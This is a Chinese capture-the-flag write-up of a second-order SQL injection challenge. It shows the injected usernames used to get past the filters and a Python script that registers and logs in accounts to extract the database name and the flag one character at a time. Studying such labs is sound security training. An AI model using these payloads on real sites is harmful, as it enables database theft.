目录
一、前言
前两天复现了一道CTF题目[网鼎杯 2018]Comment,今天继续来学习一下SQL二次注入。
二、环境
三、复现
3.1寻找注入点
进到靶场,是一个登录页面,但是又没有给出或提示账号密码等信息。我们找一下有没有注册页面。
我使用了AWVS工具来扫一下,找找别的目录。找到了注册页面:register.php
先注册账号进去看一下,登录进来以后展示的只有一个注册的用户名。
3.2尝试盲注
展示的只有用户名,没有别的了。好像是在注册的时候把用户名存在数据库里面了,然后展示在前端了。那在注册的时候用户名应该怎么注册。是否能够二次注入,二次注入就是当存储的时候经过过滤,但是在出库的时候没做好过滤导致出现二次注入。既然展示的是注册的用户名,那么存入的时候这个用户名应该怎么注册?
尝试构造sql盲注语句 username=bbb' and left(database(),1)>'a'#
bbb' and left(database(),1)>'a'#
注册的用户名构造的SQL语句是想从左取第一位,如果为真就返回,如果为假就显示不出来了。但是不能注册,那么还能盲注吗?
好像是注册的用户名加入了单引号,被过滤了,直接显示nonono。
3.3正则限制
现在需要考虑的是这个正则限制了哪些,能不能绕过?
BurpSuite提供的有个功能,能够爆破。通过看返回值我们能看到过滤了什么,现在去GitHub找字典,然后继续进行操作。这里可以看到information和逗号被过滤了。
知道过滤了什么,那继续测试注册账号。注册的用户名,但是还是无法显示。应该被单引号引起来了,导致没办法显示。现在还是没逃脱单引号的控制。
select database()
怎么逃脱单引号呢?假设语句是这样的:
insert into users (email, username, password) values ('$email', '$username', '$password');
闭合他的单引号,注册用户名 0'+select database()+'0 直接注册不成功,没跳转到登录。
email=666@qq.com&username=0'+select database()+'0&password=666
现在发现在进行正常的注册、登录操作时。当注册成功时,系统返回302跳转到登录页面(注册失败时系统返回200)登录时,使用邮箱和密码登录,登录成功后,系统返回302跳转到index.php页面,显示用户名。登录时用到的是邮箱和密码,而注册时还有一个用户名,而这个用户名会在登录后显示,所以我们考虑用户名这里可能存在二次注入 。
没有注册成功,试试十六进制能否注册成功
0'+(select hex(database()))+'0
报出来数据库名了?解码看一下,数据库名web。
3.4脚本注入获取flag
既然报出库名了,那下一步就是注入表名和注入列名了。sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,可以使用无列名注入来绕过。
猜测表名直接猜测表名为flag。CTF题目设计惯例默认命名规则:
CTF中Flag通常存储在名为flag的表或列中(如flag、flags、secret等),这是比赛中的常见设计模式。
绕过信息限制:
当information_schema被过滤时,无法通过系统表查询数据库结构,需依赖经验猜测。
若尝试flag表名失败,可继续测试其他常见表名(如hint、secret)。
import requests
import time
from bs4 import BeautifulSoup
def getDatabase():
database = ''
for i in range(10):
data_database = {
'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
#注册
requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_database)
login_data={
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)
html=response.text
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]
username=getUsername.text
if int(username)==0:
break
database+=chr(int(username))
return database
def getFlag():
flag = ''
for i in range(40):
data_flag = {
'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
#注册
requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_flag)
login_data={
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)
html=response.text
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]
username=getUsername.text
if int(username)==0:
break
flag+=chr(int(username))
return flag
print(getDatabase())
print(getFlag())
运行结果:flag{228a223c-98f4-421f-ac54-e603170d9485}
四、总结
本次学习感受到了在真实环境下确实有很多各式各样的障碍,在本篇学习的过程中,之前注入都是从infomercial中来注入出表名和列名的。今天学到了如何无列名注入从而绕过infomercial的过滤。下章会更新下无列名的注入。